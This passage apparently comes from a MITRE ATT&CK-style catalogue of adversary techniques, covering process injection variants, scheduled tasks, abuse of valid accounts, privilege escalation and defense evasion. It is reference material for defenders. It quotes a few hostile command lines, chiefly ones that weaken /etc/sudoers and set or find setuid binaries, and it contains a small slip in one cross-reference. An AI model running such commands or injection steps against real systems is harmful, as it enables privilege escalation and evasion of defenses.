Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

.003 - Thread Execution Hijacking

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.

Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as `OpenThread`. At this point the process can be suspended then written to, realigned to the injected code, and resumed via `SuspendThread`, `VirtualAllocEx`, `WriteProcessMemory`, `SetThreadContext`, then `ResumeThread` respectively.

This is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.

.004 - Asynchronous Procedure Call

Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.

APC injection is commonly performed by attaching malicious code to the APC Queue of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A handle to an existing victim process is first created with native Windows API calls such as `OpenThread`. At this point `QueueUserAPC` can be used to invoke a function (such as `LoadLibrayA` pointing to a malicious DLL).

A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. AtomBombing is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.

.005 - Thread Local Storage

Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.

TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process' memory space using other Process Injection techniques such as Process Hollowing.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.

.008 - Ptrace System Calls

Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.

Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values. Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with `PTRACE_SETREGS` to set the register containing the next instruction to execute. Ptrace system call injection can also be done with `PTRACE_POKETEXT`/`PTRACE_POKEDATA`, which copy data to a specific address in the target processes' memory (ex: the current address of the next instruction).

Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.

.009 - Proc Memory

Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.

Proc memory injection involves enumerating the memory of a process via the `/proc` filesystem (`/proc/[pid]`) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings.

Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.

Other techniques such as Dynamic Linker Hijacking may be used to populate a target process with more available gadgets. Similar to Process Hollowing, proc memory injection may target child processes (such as a backgrounded copy of sleep).

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.

.011 - Extra Window Memory Injection

Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.

Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.

.012 - Process Hollowing

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as

ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.

This is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

.013 - Process Doppelganging

Adversaries may inject malicious code into process via process doppelganging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelganging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.

Adversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelganging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelganging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext.

Process Doppelgänging is implemented in 4 steps:

1. Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
2. Load – Create a shared section of memory and load the malicious executable.
3. Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
4. Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelganging may evade detection from security products since the execution is masked under a legitimate process.

.014 - VDSO Hijacking

Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.

VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via Ptrace System Calls. However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.

.015 – ListPlanting

Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.

List-view controls are user interface windows used to display collections of items. Information about an application's list-view settings is stored within the process' memory in a SysListView32 control.

ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items. Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other Process Injection methods.

Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.

Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.

T1053 - Scheduled Task/Job

Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.

Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to System Binary Proxy Execution, adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.

.002 – At

Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task's schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.

On Linux and macOS, at may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke at. If the at.deny exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.

Adversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).

In Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via sudo.

.003 – Cron

Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.[1] The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.

An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence.

.005 - Scheduled Task

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

The deprecated at utility could also be abused by adversaries (ex: At), though `at.exe` can not access tasks created with `schtasks` or the Control Panel.

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.

Adversaries may also create "hidden" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).

Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., Index value) within associated registry keys.

.006 - Systemd Timers

Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to Cron in Linux environments. Systemd timers may be activated remotely via the systemctl command line utility, which operates over SSH.

Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are Systemd Service unit files that are managed by the systemd system and service manager. Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level is written to ~/.config/systemd/user/.

An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence. Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.

.007 - Container Orchestration Job

Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks. An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.

T1078 - Valid Accounts

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.

.001 - Default Accounts

Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.

Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.

.002 - Domain Accounts

Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.

Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.

.003 - Local Accounts

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

.004 - Cloud Accounts

Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.

Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a Trusted Relationship. Similar to Domain Accounts, compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.

Once a cloud account is compromised, an adversary may perform Account Manipulation - for example, by adding Additional Cloud Roles - to maintain persistence and potentially escalate their privileges.

Defense Evasion

The adversary is trying to avoid being detected.

Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1548 - Abuse Elevation Control Mechanism

Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization must be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.

.001 - Setuid and Setgid

An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.

Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. Linux and Mac File and Directory Permissions Modification). The `chmod` command can set these bits with bitmasking, `chmod 4777 [file]` or via shorthand naming, `chmod u+s [file]`. This will enable the setuid bit. To enable the setgit bit, `chmod 2775` and `chmod g+s` can be used.

Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future. This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions.

Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. File and Directory Discovery). The setuid and setguid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via `ls -l`. The `find` command can also be used to search for such files. For example, `find / -perm +4000 2>/dev/null` can be used to find files with setuid set and `find / -perm +2000 2>/dev/null` may be used for setgid. Binaries that have these bits set may then be abused by adversaries.

.002 - Bypass User Account Control

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box. An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- `eventvwr.exe` can auto-elevate and execute a specified binary or script.

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.

.003 - Sudo and Sudo Caching

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The `sudo` command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."[1] Since sudo was made for the system administrator, it has some useful configuration features such as a `timestamp_timeout`, which is the amount of time in minutes between instances of `sudo` before it will re-prompt for a password. This is because `sudo` has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at `/var/db/sudo` with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a `tty_tickets` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

The sudoers file, `/etc/sudoers`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `user1 ALL=(ALL) NOPASSWD: ALL`. Elevated privileges are required to edit this file though.

Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, `/var/db/sudo`'s timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.

In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers. In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.

.004 - Elevated Execution with Prompt

Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials. The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.

Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code. This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.

T1134 - Access Token Manipulation

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.

Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.

.001 - Token Impersonation/Theft

Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.

An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.

.002 - Create Process with Token

Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as `CreateProcessWithTokenW` and `runas`.

Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as Token Impersonation/Theft or Make and Impersonate Token).

.003 - Make and Impersonate Token

Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.

.004 - Parent PID Spoofing

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the `CreateProcess` API call, which supports a parameter that defines the PPID to use. This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via `svchost.exe` or `consent.exe`) rather than the current user context.

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be `explorer.exe` rather than an Office document delivered as part of Spearphishing Attachment.[3] This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as `lsass.exe`), causing the new process to be elevated via the inherited access token.

.005 - SID-History Injection

Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. An account can hold additional SIDs in the SID-History Active Directory attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

With Domain Administrator (or equivalent) rights, harvested or well-known SID values may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, SMB/Windows Admin Shares, or Windows Remote Management.

T1197 - BITS Jobs

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.

Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.

T1612 - Build Image on Host

Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.

An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize Deploy Container using that custom image. If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.

T1622 - Debugger Evasion

Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.

Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Like Virtualization/Sandbox Evasion, if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.

Specific checks will vary based on the target and/or adversary, but may involve Native API function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would "swallow" or handle the potential error).

Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping Native API function calls such as `OutputDebugStringW()`.

T1140 - Deobfuscate/Decode Files or Information

Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows `copy /b` command to reassemble binary fragments into a malicious payload.

Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.

T1610 - Deploy Container

Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.

Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.

T1006 - Direct Volume Access

Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools.

Utilities, such as NinjaCopy, exist to perform these actions in PowerShell.

T1484 - Domain Policy Modification

Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.

With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious Scheduled Task to computers throughout the domain environment or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources. Adversaries can also change configuration settings within the AD environment to implement a Rogue Domain Controller.

Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.

.001 - Group Policy Modification

Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.

